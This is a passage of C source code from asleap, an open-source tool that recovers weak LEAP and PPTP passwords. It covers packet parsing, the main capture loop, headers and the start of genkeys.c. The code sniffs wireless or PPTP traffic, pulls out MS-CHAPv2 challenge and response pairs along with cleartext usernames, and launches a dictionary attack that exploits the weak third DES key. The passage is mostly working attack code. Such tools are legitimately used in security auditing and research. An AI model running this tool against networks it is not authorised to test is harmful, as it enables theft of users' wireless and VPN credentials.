*)(packet+offset); 1096 | plen -= EAPLEAPHDR_LEN; 1097 | offset += EAPLEAPHDR_LEN; 1098 | 1099 | if (leaph->version != 1) { 1100 | return -1; 1101 | } 1102 | 1103 | if (leaph->reserved != 0) { 1104 | return -1; 1105 | } 1106 | 1107 | if (leaph->count != 8) { /* 8 byte challenge */ 1108 | return -1; 1109 | } 1110 | 1111 | /* Found the LEAP Challenge frame */ 1112 | if (asleap_ptr->verbose) { 1113 | printf("\n\nCaptured LEAP challenge:\n"); 1114 | lamont_hdump((packet+offset), (h.len-offset)); 1115 | printf("\n"); 1116 | } 1117 | 1118 | 1119 | /* We have captured a LEAP challenge packet. Populate asleap, 1120 | then continue to collect traffic */ 1121 | asleap_ptr->eapid = eaph->identifier; 1122 | memcpy(asleap_ptr->challenge, packet+offset, 8); 1123 | offset += 8; 1124 | plen -= 8; 1125 | 1126 | /* The username is variable length, but is the only data left in the 1127 | frame, copy plen bytes into username */ 1128 | memcpy(asleap_ptr->username, packet+offset, plen); 1129 | 1130 | return 0; 1131 | } 1132 | 1133 | int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset) 1134 | { 1135 | struct pppchaphdr *pppchap; 1136 | 1137 | pppchap = (struct pppchaphdr *)(packet+offset); 1138 | 1139 | if (plen < PPPCHAPHDR_LEN) { 1140 | return -1; 1141 | } 1142 | 1143 | if (pppchap->code == PPPCHAP_FAILURE) { 1144 | if (asleap_ptr->verbose) { 1145 | printf("\n\nCaptured PPTP Failure message:\n"); 1146 | lamont_hdump((packet+offset), (h.len-offset)); 1147 | printf("\n"); 1148 | } 1149 | /* Since we got a failure message, we don't need to retain the 1150 | chal and response data, clear it and restart the process */ 1151 | asleap_reset(asleap_ptr); 1152 | return -1; 1153 | } 1154 | 1155 | if (pppchap->code != PPPCHAP_SUCCESS) { 1156 | return -1; 1157 | } 1158 | 1159 | /* Found the PPTP Success frame */ 1160 | if (asleap_ptr->verbose) { 1161 | printf("\n\nCaptured PPTP success:\n"); 1162 | lamont_hdump((packet+offset), (h.len-offset)); 1163 | printf("\n"); 1164 | } 1165 | 1166 | return 0; 1167 | } 1168 | 1169 | int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset) 1170 | { 1171 | 1172 | struct eap_hdr *eaph; 1173 | struct eap_leap_hdr *leaph; 1174 | 1175 | eaph = (struct eap_hdr *)(packet+offset); 1176 | 1177 | /* Use eaphdr packet length or entire packet length, whichever is 1178 | smaller. */ 1179 | plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; 1180 | 1181 | plen -= EAPHDR_MIN_LEN; 1182 | offset += EAPHDR_MIN_LEN; 1183 | 1184 | if (plen < EAPLEAP_MIN_RESP_LEN) { 1185 | return -1; 1186 | } 1187 | 1188 | if (eaph->code != EAP_RESPONSE) { 1189 | return -1; 1190 | } 1191 | 1192 | if (eaph->identifier != asleap_ptr->eapid) { 1193 | fprintf(stderr, "LEAP Response, but does not match ID for " 1194 | "previously observed request frame (%d/%d).\n", 1195 | asleap_ptr->eapid, eaph->identifier); 1196 | return -1; 1197 | } 1198 | 1199 | leaph = (struct eap_leap_hdr *)(packet+offset); 1200 | plen -= EAPLEAPHDR_LEN; 1201 | offset += EAPLEAPHDR_LEN; 1202 | 1203 | if (leaph->version != 1) { 1204 | return -1; 1205 | } 1206 | 1207 | if (leaph->reserved != 0) { 1208 | return -1; 1209 | } 1210 | 1211 | if (leaph->count != 24) { /* 24 byte response */ 1212 | return -1; 1213 | } 1214 | 1215 | /* Found the LEAP Response frame */ 1216 | if (asleap_ptr->verbose) { 1217 | printf("\n\nCaptured LEAP response:\n"); 1218 | lamont_hdump((packet+offset), (h.len-offset)); 1219 | printf("\n"); 1220 | } 1221 | 1222 | /* We have captured a LEAP response packet. Populate asleap, 1223 | then continue to collect traffic */ 1224 | memcpy(asleap_ptr->response, packet+offset, 24); 1225 | 1226 | return 0; 1227 | } 1228 | 1229 | int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset) 1230 | { 1231 | 1232 | struct eap_hdr *eaph; 1233 | 1234 | eaph = (struct eap_hdr *)(packet+offset); 1235 | 1236 | /* Use eaphdr packet length or entire packet length, whichever is 1237 | smaller. */ 1238 | plen = (ntohs(eaph->length) < plen) ? (ntohs(eaph->length)) : plen; 1239 | 1240 | plen -= EAPHDR_MIN_LEN; 1241 | 1242 | if (plen < 0) { 1243 | return -1; 1244 | } 1245 | 1246 | if (eaph->code != EAP_SUCCESS) { 1247 | return -1; 1248 | } 1249 | 1250 | if (eaph->identifier != (asleap_ptr->eapid)) { 1251 | fprintf(stderr, "EAP Success, but does not match ID for " 1252 | "previously observed request frame (%d/%d). Try again " 1253 | "with the -s flag to skip the authentication success " 1254 | "check.\n", 1255 | asleap_ptr->eapid, eaph->identifier); 1256 | return -1; 1257 | } 1258 | 1259 | return 0; 1260 | } 1261 | 1262 | void asleap_reset(struct asleap_data *asleap) 1263 | { 1264 | 1265 | memset(asleap->username, 0, sizeof(asleap->username)); 1266 | memset(asleap->challenge, 0, sizeof(asleap->challenge)); 1267 | memset(asleap->response, 0, sizeof(asleap->response)); 1268 | memset(asleap->endofhash, 0, sizeof(asleap->endofhash)); 1269 | memset(asleap->password, 0, sizeof(asleap->password)); 1270 | memset(asleap->pptpauthchal, 0, sizeof(asleap->pptpauthchal)); 1271 | memset(asleap->pptppeerchal, 0, sizeof(asleap->pptppeerchal)); 1272 | // memset(asleap->pptpchal, 0, sizeof(asleap->pptpchal)); 1273 | // memset(asleap->pptppeerresp, 0, sizeof(asleap->pptppeerresp)); 1274 | asleap->leapchalfound = asleap->leaprespfound = 0; 1275 | asleap->leapsuccessfound = 0; 1276 | asleap->pptpchalfound = asleap->pptprespfound = 0; 1277 | asleap->pptpsuccessfound = 0; 1278 | } 1279 | 1280 | /* Populate global packet[] with the next available packet */ 1281 | int getpacket(pcap_t *p) 1282 | { 1283 | extern unsigned long pcount; 1284 | extern u_char *packet; 1285 | 1286 | packet = (u_char *) pcap_next(p, &h); 1287 | if (!(packet == 0)) { 1288 | pcount++; 1289 | return (0); 1290 | } else { 1291 | return (1); 1292 | } 1293 | } 1294 | 1295 | char *getdevice(char *optarg) 1296 | { 1297 | 1298 | pcap_if_t *devpointer = NULL; 1299 | int devnum = 0, i = 0; 1300 | 1301 | devnum = atoi(optarg); 1302 | if (devnum != 0) { 1303 | if (devnum < 0) { 1304 | fprintf(stderr, "Invalid adapter index.\n"); 1305 | return NULL; 1306 | } 1307 | 1308 | if (pcap_findalldevs(&devpointer, errbuf) < 0) { 1309 | fprintf(stderr, "%s\n", errbuf); 1310 | return NULL; 1311 | } else { 1312 | for (i = 0; i < devnum - 1; i++) { 1313 | devpointer = devpointer->next; 1314 | if (devpointer == NULL) { 1315 | fprintf(stderr, 1316 | "Invalid adapter index.\n"); 1317 | return NULL; 1318 | } 1319 | } 1320 | } 1321 | } 1322 | 1323 | return (devpointer->name); 1324 | } 1325 | 1326 | /* List all the available interfaces, adapted from WinDump code */ 1327 | int listdevs() 1328 | { 1329 | 1330 | pcap_if_t *devpointer; 1331 | int i; 1332 | 1333 | if (pcap_findalldevs(&devpointer, errbuf) < 0) { 1334 | fprintf(stderr, "%s", errbuf); 1335 | return (-1); 1336 | } else { 1337 | printf("Device listing:\n"); 1338 | for (i = 0; devpointer != 0; i++) { 1339 | printf("%d. %s", i + 1, devpointer->name); 1340 | if (devpointer->description != NULL) 1341 | printf(" (%s)", devpointer->description); 1342 | printf("\n"); 1343 | devpointer = devpointer->next; 1344 | } 1345 | return (0); 1346 | } 1347 | } 1348 | 1349 | 1350 | /* Determine radiotap data length (including header) and return offset for the 1351 | beginning of the 802.11 header */ 1352 | int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h) 1353 | { 1354 | 1355 | struct ieee80211_radiotap_header *rtaphdr; 1356 | int rtaphdrlen=0; 1357 | 1358 | /* Grab a packet to examine radiotap header */ 1359 | if (pcap_next_ex(p, &h, (const u_char **)&packet) > -1) { 1360 | 1361 | rtaphdr = (struct ieee80211_radiotap_header *)packet; 1362 | rtaphdrlen = le16_to_cpu(rtaphdr->it_len); /* rtap is LE */ 1363 | 1364 | /* Sanity check on header length, 10 bytes is min 802.11 len */ 1365 | if (rtaphdrlen > (h->len - 10)) { 1366 | return -2; /* Bad radiotap data */ 1367 | } 1368 | 1369 | return rtaphdrlen; 1370 | } 1371 | 1372 | return -1; 1373 | } 1374 | 1375 | 1376 | int main(int argc, char *argv[]) 1377 | { 1378 | 1379 | int c, opt_verbose = 0, offset = 0; 1380 | char *device, dictfile[255], dictidx[255], pcapfile[255]; 1381 | struct asleap_data asleap; 1382 | struct stat dictstat, capturedatastat; 1383 | unsigned int findlpexchret = 0; 1384 | int findleaptimeout = 0; 1385 | int ret=0; 1386 | extern int success; 1387 | 1388 | memset(dictfile, 0, sizeof(dictfile)); 1389 | memset(dictidx, 0, sizeof(dictidx)); 1390 | memset(pcapfile, 0, sizeof(pcapfile)); 1391 | memset(&asleap, 0, sizeof(asleap)); 1392 | device = NULL; 1393 | 1394 | signal(SIGINT, cleanup); 1395 | signal(SIGTERM, cleanup); 1396 | signal(SIGQUIT, cleanup); 1397 | 1398 | printf("asleap %s - actively recover LEAP/PPTP passwords. " 1399 | "\n", VER); 1400 | 1401 | while ((c = getopt(argc, argv, "DsoavhVi:f:n:r:w:c:t:W:C:R:")) != EOF) { 1402 | switch (c) { 1403 | case 's': 1404 | asleap.skipeapsuccess = 1; 1405 | break; 1406 | case 'C': 1407 | if (strlen(optarg) != 23) { 1408 | usage("Incorrect challenge input length " 1409 | "specified.\n"); 1410 | exit(1); 1411 | } 1412 | if (str2hex(optarg, asleap.challenge, 1413 | sizeof(asleap.challenge)) < 0) { 1414 | usage("Malformed value specified as " 1415 | "challenge.\n"); 1416 | exit(1); 1417 | } 1418 | asleap.leapchalfound=1; 1419 | asleap.manualchalresp=1; 1420 | break; 1421 | case 'R': 1422 | if (strlen(optarg) != 71) { 1423 | usage("Incorrect response input length " 1424 | "specified.\n"); 1425 | exit(1); 1426 | } 1427 | if (str2hex(optarg, asleap.response, 1428 | sizeof(asleap.response)) < 0) { 1429 | usage("Malformed value specified as " 1430 | "response.\n"); 1431 | exit(1); 1432 | } 1433 | asleap.leaprespfound=1; 1434 | asleap.manualchalresp=1; 1435 | break; 1436 | case 'i': 1437 | if (atoi(optarg) == 0) { 1438 | device = optarg; 1439 | } else { 1440 | device = getdevice(optarg); 1441 | if (device == NULL) { 1442 | usage("Error processing device name, " 1443 | "try -D"); 1444 | exit(1); 1445 | } 1446 | } 1447 | break; 1448 | case 'f': 1449 | strncpy(dictfile, optarg, sizeof(dictfile) - 1); 1450 | break; 1451 | case 'n': 1452 | strncpy(dictidx, optarg, sizeof(dictidx) - 1); 1453 | break; 1454 | case 'h': 1455 | usage(""); 1456 | exit(0); 1457 | break; 1458 | case 'r': 1459 | strncpy(pcapfile, optarg, sizeof(pcapfile) - 1); 1460 | break; 1461 | case 'v': 1462 | opt_verbose += 1; 1463 | break; 1464 | case 't': 1465 | findleaptimeout = atoi(optarg); 1466 | break; 1467 | case 'V': 1468 | printf("Version $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $\n"); 1469 | exit(0); 1470 | break; 1471 | case 'D': 1472 | /* list available devices */ 1473 | listdevs(); 1474 | exit(0); 1475 | break; 1476 | case 'W': 1477 | strncpy(asleap.wordfile, optarg, 1478 | sizeof(asleap.wordfile) - 1); 1479 | break; 1480 | default: 1481 | usage(""); 1482 | exit(1); 1483 | } 1484 | } 1485 | 1486 | /* Populate the asleap struct with the gathered information */ 1487 | asleap.verbose = opt_verbose; 1488 | strncpy(asleap.dictfile, dictfile, sizeof(asleap.dictfile) - 1); 1489 | strncpy(asleap.dictidx, dictidx, sizeof(asleap.dictidx) - 1); 1490 | 1491 | if (IsBlank(device) && IsBlank(pcapfile) && !asleap.manualchalresp) { 1492 | usage ("Must supply an interface with -i, or a stored file " 1493 | "with -r"); 1494 | exit(1); 1495 | } 1496 | 1497 | if (!IsBlank(asleap.wordfile)) { 1498 | if (*asleap.wordfile == '-') { 1499 | printf("Using STDIN for words.\n"); 1500 | } else { 1501 | printf("Using wordlist mode with \"%s\".\n", 1502 | asleap.wordfile); 1503 | } 1504 | } 1505 | 1506 | if (!IsBlank(asleap.dictfile)) { 1507 | if (stat(asleap.dictfile, &dictstat)) { 1508 | /* Could not stat the dictionary file. Bail. */ 1509 | usage("Could not stat the dictionary file."); 1510 | exit(1); 1511 | } 1512 | } 1513 | 1514 | if (asleap.leapchalfound && asleap.leaprespfound && 1515 | asleap.manualchalresp) { 1516 | /* User specified manual challenge/response on the command 1517 | * line (aka, the "Jay Beale" feature). 1518 | */ 1519 | return(attack_leap(&asleap)); 1520 | } 1521 | 1522 | /* If the user passed the -r flag, open the filename as a captured pcap 1523 | file. Otherwise open live from the supplied device name */ 1524 | if (!IsBlank(pcapfile)) { 1525 | 1526 | /* Make sure the the file exists */ 1527 | if (stat(pcapfile, &capturedatastat) != 0) { 1528 | usage("Could not stat the pcap file."); 1529 | exit(1); 1530 | } 1531 | 1532 | /* Libpcap file */ 1533 | p = pcap_open_offline(pcapfile, errbuf); 1534 | if (p == NULL) { 1535 | fprintf(stderr, "Unable to open packet capture file \"" 1536 | "%s\".\n", pcapfile); 1537 | exit(-1); 1538 | } 1539 | 1540 | } else { /* Reading from interface in live capture mode */ 1541 | 1542 | p = pcap_open_live(device, SNAPLEN, PROMISC, TIMEOUT, errbuf); 1543 | if (p == NULL) { 1544 | perror("Unable to open live interface"); 1545 | exit(-1); 1546 | } 1547 | } 1548 | 1549 | 1550 | /* Determine offset to 802.11 header, skipping any capture header 1551 | data that may come before it. */ 1552 | switch(pcap_datalink(p)) { 1553 | 1554 | case DLT_IEEE802_11: 1555 | offset = 0; 1556 | break; 1557 | 1558 | case DLT_IEEE802_11_RADIO: 1559 | offset = radiotap_offset(p, &h); 1560 | if (offset < sizeof(struct ieee80211_radiotap_header)) { 1561 | fprintf(stderr, "Unable to determine offset " 1562 | "from radiotap header (%d).\n", offset); 1563 | return(-1); 1564 | } 1565 | break; 1566 | 1567 | case DLT_TZSP: 1568 | offset = 29; 1569 | break; 1570 | 1571 | case DLT_PRISM_HEADER: 1572 | offset = 144; 1573 | break; 1574 | 1575 | default: 1576 | fprintf(stderr, "Unsupported pcap datalink type: (%d) " 1577 | "\n", pcap_datalink(p)); 1578 | cleanup(); /* Exits */ 1579 | } 1580 | 1581 | /* 1582 | * Our attack method is to collect frames until we get an EAP-Challenge packet. 1583 | * From the EAP-Challenge packet we collect the 8-byte challenge, then wait for 1584 | * the EAP-Response to collect the response information. With the challenge 1585 | * and response, we start the grinder to abuse weaknesses in MS-CHAPv2 to 1586 | * recover weak passwords. The username information is sent in the clear in 1587 | * both challenge and response traffic. Take a look at asleap.h for packet 1588 | * definition information. 1589 | */ 1590 | 1591 | while (1) { 1592 | 1593 | findlpexchret = findlpexch(&asleap, findleaptimeout, offset); 1594 | 1595 | if (findlpexchret == LEAPEXCHFOUND) { 1596 | printf("\nCaptured LEAP exchange information:\n"); 1597 | print_leapexch(&asleap); 1598 | break; 1599 | } 1600 | 1601 | if (findlpexchret == PPTPEXCHFOUND) { 1602 | printf("\nCaptured PPTP exchange information:\n"); 1603 | print_pptpexch(&asleap); 1604 | break; 1605 | } 1606 | 1607 | } 1608 | 1609 | 1610 | /* Now that we have the challenge and response information, the 1611 | real fun begins. With the hash and response, we can use the 1612 | weakness in caculating the third DES key used to generate the 1613 | response text since this is only 2^16 possible combinations. */ 1614 | if (asleap.leapchalfound && asleap.leaprespfound) { 1615 | ret = attack_leap(&asleap); 1616 | if (ret == 0 && success == 0) { 1617 | success = 1; 1618 | } 1619 | asleap_reset(&asleap); 1620 | } 1621 | 1622 | if (asleap.pptpchalfound && asleap.pptprespfound) { 1623 | ret = attack_pptp(&asleap); 1624 | if (ret == 0 && success == 0) { 1625 | success = 1; 1626 | } 1627 | asleap_reset(&asleap); 1628 | } 1629 | 1630 | if (success == 1) { 1631 | /* At least one attack was successful */ 1632 | return 0; 1633 | } else { 1634 | /* No attacks were successful */ 1635 | return 1; 1636 | } 1637 | } 1638 | -------------------------------------------------------------------------------- /asleap.h: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: asleap.h,v 1.17 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | */ 23 | 24 | /* These offsets follow start at the beginning of the IP Header */ 25 | //#define GREOFFSET 20 26 | #define IPHDRLEN 20 /* Not always constant, but usually */ 27 | #define GREMINHDRLEN 8 28 | #define GRESYNSETFLAG 0x0010 29 | #define GREACKSETFLAG 0x8000 30 | //#define PPPGREOFFSET 16 31 | #define PPPGRECHAPOFFSET 2 32 | #define PPPUSERNAMEOFFSET 54 33 | 34 | #define LPEXCH_ERR -1 35 | #define LPEXCH_TIMEOUT 0 36 | #define LEAPEXCHFOUND 1 37 | #define PPTPEXCHFOUND 2 38 | 39 | #define GREPROTOPPP 0x880b 40 | #define PPPPROTOCHAP 0xc223 41 | 42 | /* asleap data structure, containing information from command line options and 43 | gathered information from the network. 44 | XXX This should *really* be broken up into two structures for command line 45 | configuration information and packet capture results. Such is the result 46 | of poor planning in the initial design. */ 47 | struct asleap_data { 48 | char username[256 + 1]; 49 | uint8_t eapid; 50 | uint8_t challenge[8]; 51 | uint8_t response[24]; 52 | uint8_t endofhash[2]; 53 | char password[32]; 54 | uint8_t nthash[16]; 55 | /* for PPTP/true MS-CHAPv2 */ 56 | uint8_t pptpauthchal[16]; 57 | uint8_t pptppeerchal[16]; 58 | // uint8_t pptpchal[8]; 59 | // uint8_t pptppeerresp[24]; 60 | 61 | int eapsuccess; 62 | int skipeapsuccess; /* Don't bother checking for success after auth */ 63 | int verbose; 64 | char dictfile[255]; 65 | char dictidx[255]; 66 | char wordfile[255]; 67 | 68 | /* Tracking values */ 69 | uint8_t leapchalfound; 70 | uint8_t leaprespfound; 71 | uint8_t leapsuccessfound; 72 | uint8_t pptpchalfound; 73 | uint8_t pptprespfound; 74 | uint8_t pptpsuccessfound; 75 | uint8_t manualchalresp; 76 | }; 77 | 78 | -------------------------------------------------------------------------------- /byteswap.h: -------------------------------------------------------------------------------- 1 | #ifndef BYTESWAP_H 2 | #define BYTESWAP_H 3 | 4 | #define __swab16(x) \ 5 | ({ \ 6 | uint16_t __x = (x); \ 7 | ((uint16_t)( \ 8 | (((uint16_t)(__x) & (uint16_t)0x00ffU) << 8) | \ 9 | (((uint16_t)(__x) & (uint16_t)0xff00U) >> 8) )); \ 10 | }) 11 | 12 | #define __swab32(x) \ 13 | ({ \ 14 | uint32_t __x = (x); \ 15 | ((uint32_t)( \ 16 | (((uint32_t)(__x) & (uint32_t)0x000000ffUL) << 24) | \ 17 | (((uint32_t)(__x) & (uint32_t)0x0000ff00UL) << 8) | \ 18 | (((uint32_t)(__x) & (uint32_t)0x00ff0000UL) >> 8) | \ 19 | (((uint32_t)(__x) & (uint32_t)0xff000000UL) >> 24) )); \ 20 | }) 21 | 22 | #define __swab64(x) \ 23 | ({ \ 24 | uint64_t __x = (x); \ 25 | ((uint64_t)( \ 26 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000000000ffULL) << 56) | \ 27 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000000000ff00ULL) << 40) | \ 28 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000000000ff0000ULL) << 24) | \ 29 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00000000ff000000ULL) << 8) | \ 30 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x000000ff00000000ULL) >> 8) | \ 31 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x0000ff0000000000ULL) >> 24) | \ 32 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0x00ff000000000000ULL) >> 40) | \ 33 | (uint64_t)(((uint64_t)(__x) & (uint64_t)0xff00000000000000ULL) >> 56) )); \ 34 | }) 35 | 36 | #ifdef WORDS_BIGENDIAN 37 | #warning "Compiling for big-endian" 38 | #define le16_to_cpu(x) __swab16(x) 39 | #define le32_to_cpu(x) __swab32(x) 40 | #define le64_to_cpu(x) __swab64(x) 41 | #else 42 | #define le16_to_cpu(x) (x) 43 | #define le32_to_cpu(x) (x) 44 | #define le64_to_cpu(x) (x) 45 | #endif 46 | 47 | #endif /* BYTESWAP_H */ 48 | -------------------------------------------------------------------------------- /common.c: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: common.c,v 1.6 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | */ 23 | 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "common.h" 30 | #include "utils.h" 31 | 32 | #ifdef _OPENSSL_MD4 33 | #include 34 | #define MD4Init MD4_Init 35 | #define MD4Update MD4_Update 36 | #define MD4Final MD4_Final 37 | #define MD4WRAP MD4 38 | #else 39 | #include "md4.h" 40 | #define MD4WRAP md4 41 | #endif 42 | 43 | /* written from scratch 44 | * Copyright (C) 2001 Jochen Eisinger, University of Freiburg 45 | */ 46 | 47 | #define hex2int(c) ((((c) >= '0') && ((c) <= '9')) ? ((c) - '0') : \ 48 | ((((c) >= 'A') && ((c) <= 'F')) ? ((c) - 'A' + 10) : \ 49 | ((c) - 'a' + 10))) 50 | 51 | /* GetCharArray: 52 | * Convert ASCII String to binary 53 | */ 54 | void getchararray(char *s, unsigned char *a) 55 | { 56 | 57 | int i, w, len; 58 | 59 | len = strlen(s); 60 | 61 | for (i = 0; i < len; i += 2) { 62 | 63 | w = hex2int(s[i]); 64 | w <<= 4; 65 | w += hex2int(s[i + 1]); 66 | 67 | a[i >> 1] = w; 68 | 69 | } 70 | 71 | } 72 | 73 | /* PutCharArray: 74 | * Convert binary to ASCII String 75 | */ 76 | void PutCharArray(unsigned char *a, int c) 77 | { 78 | char hexcode[] = "0123456789abcdef"; 79 | int i; 80 | for (i = 0; i < c; i++) 81 | printf("%c%c", hexcode[a[i] >> 4], hexcode[a[i] & 15]); 82 | } 83 | 84 | /* 85 | * converts a string to a mac address... 86 | * returns 1 on success, -1 on failure... 87 | * failure indicates poorly formed input... 88 | */ 89 | int string_to_mac(char *string, unsigned int *mac_buf) 90 | { 91 | char *ptr, *next; 92 | unsigned long val; 93 | int i; 94 | 95 | to_upper(string); 96 | 97 | ptr = next = string; 98 | for (i = 0; i < 6; i++) { 99 | if ((val = strtoul(next, &ptr, 16)) > 255) { 100 | errno = EINVAL; 101 | return (-1); 102 | } 103 | mac_buf[i] = (unsigned int)val; 104 | if ((next == ptr) && (i != 6 - 1)) { 105 | errno = EINVAL; 106 | return (-1); 107 | } 108 | next = ptr + 1; 109 | } 110 | 111 | return (1); 112 | } 113 | 114 | void NtPasswordHash(char *secret, int secret_len, unsigned char *hash) 115 | { 116 | 117 | int i; 118 | unsigned char unicodePassword[MAX_NT_PASSWORD * 2]; 119 | 120 | /* Initialize the Unicode version of the secret (== password). */ 121 | /* This implicitly supports 8-bit ISO8859/1 characters. */ 122 | memset(unicodePassword, 0, sizeof(unicodePassword)); 123 | 124 | for (i = 0; i < secret_len; i++) 125 | unicodePassword[i * 2] = (unsigned char)secret[i]; 126 | 127 | /* Unicode is 2 bytes per char */ 128 | MD4WRAP(unicodePassword, secret_len * 2, hash); 129 | } 130 | -------------------------------------------------------------------------------- /common.h: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * $Id: common.h,v 1.14 2007/05/10 19:29:06 jwright Exp $ 5 | * 6 | * Copyright (c) 2004, Joshua Wright 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | */ 23 | #include 24 | #include 25 | #define MD4_SIGNATURE_SIZE 16 26 | 27 | /* Prototypes */ 28 | void getchararray(char *s, unsigned char *a); 29 | void PutCharArray(unsigned char *a, int c); 30 | int string_to_mac(char *string, unsigned int *mac_buf); 31 | void NtPasswordHash(char *secret, int secret_len, unsigned char *hash); 32 | 33 | #define MAX_NT_PASSWORD 256 34 | #define hex2int(c) ((((c) >= '0') && ((c) <= '9')) ? ((c) - '0') : \ 35 | ((((c) >= 'A') && ((c) <= 'F')) ? ((c) - 'A' + 10) : \ 36 | ((c) - 'a' + 10))) 37 | 38 | /* Structure for the binary output from genkeys - used by asleap to read the 39 | file. */ 40 | struct hashpass_rec { 41 | unsigned char rec_size; 42 | char *password; 43 | unsigned char hash[16]; 44 | } __attribute__ ((packed)); 45 | 46 | /* Structure for the index file from genkeys */ 47 | struct hashpassidx_rec { 48 | unsigned char hashkey[2]; 49 | off_t offset; 50 | unsigned long long int numrec; 51 | } __attribute__ ((packed)); 52 | 53 | /* Structure for use in sorting hashes into appropriate buckets */ 54 | struct hashbucket_rec { 55 | FILE *sbucket; 56 | long numrec; 57 | }; 58 | 59 | static __inline__ void to_upper(char *s) 60 | { 61 | char *p; 62 | char offset; 63 | 64 | offset = 'A' - 'a'; 65 | for (p = s; *p != '\0'; p++) { 66 | if (islower(*p)) { 67 | *p += offset; 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /genkeys.c: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * Copyright (c) 2004, Joshua Wright 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License version 2 as 8 | * published by the Free Software Foundation. See COPYING for more 9 | * details. 10 | * 11 | * asleap is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | */ 16 | 17 | /* 18 | * Significant code is graciously taken from the following: 19 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 20 | */ 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "common.h" 30 | #include "version.h" 31 | #include "utils.h" 32 | 33 | #define PROGNAME "genkeys" 34 | 35 | /* Globals */ 36 | unsigned long long sortcount; 37 | 38 | int compfunc(const void *x, const void *y) 39 | { 40 | 41 | struct hashpass_rec rec1, rec2; 42 | 43 | sortcount++; 44 | rec1 = (struct hashpass_rec)(*(struct hashpass_rec *)x); 45 | rec2 = (struct hashpass_rec)(*(struct hashpass_rec *)y); 46 | 47 | if (rec1.hash[15] == rec2.hash[15]) { 48 | return (0); 49 | } else if (rec1.hash[15] < rec2.hash[15]) { 50 | return (-1); 51 | } else { 52 | return (1); 53 | } 54 | } 55 | 56 | /* getnextrec accepts a record structure, a file pointer and a flag to indicate 57 | if we want to populate the password member of the structure (requires a 58 | malloc). getnextrec populates the structure with the next record available, 59 | and returns the record length on success, or negative on failure. */ 60 | int getnextrec(struct hashpass_rec *rec, FILE * fp, int fillpass) 61 | { 62 | int passlen; 63 | 64 | fread(&rec->rec_size, 1, 1, fp); 65 | 66 | passlen = (rec->rec_size - 17); 67 | 68 | if (fillpass) { 69 | if (passlen < 1) { 70 | perror("[getnextrec] Too short password length"); 71 | return (-1); 72 | } 73 | 74 | if ((rec->password = malloc(passlen)) == NULL) { 75 | return (-1); 76 | } 77 | 78 | fread(rec->password, passlen, 1, fp); 79 | 80 | } else { 81 | 82 | /* Skip past the password */ 83 | fseek(fp, passlen, SEEK_CUR); 84 | } 85 | 86 | fread(rec->hash, 16, 1, fp); 87 | 88 | return (rec->rec_size); 89 | } 90 | 91 | /* closebuckets accepts an array of type hashbucket_rec and closes each 92 | file handle. There is no return value. */ 93 | void closebuckets(struct hashbucket_rec hbucket[256], int hsub) 94 | { 95 | 96 | char bucketfile[256]; 97 | for (hsub--; hsub != -1; hsub--) { 98 | fclose(hbucket[hsub].sbucket); 99 | sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); 100 | remove(bucketfile); 101 | } 102 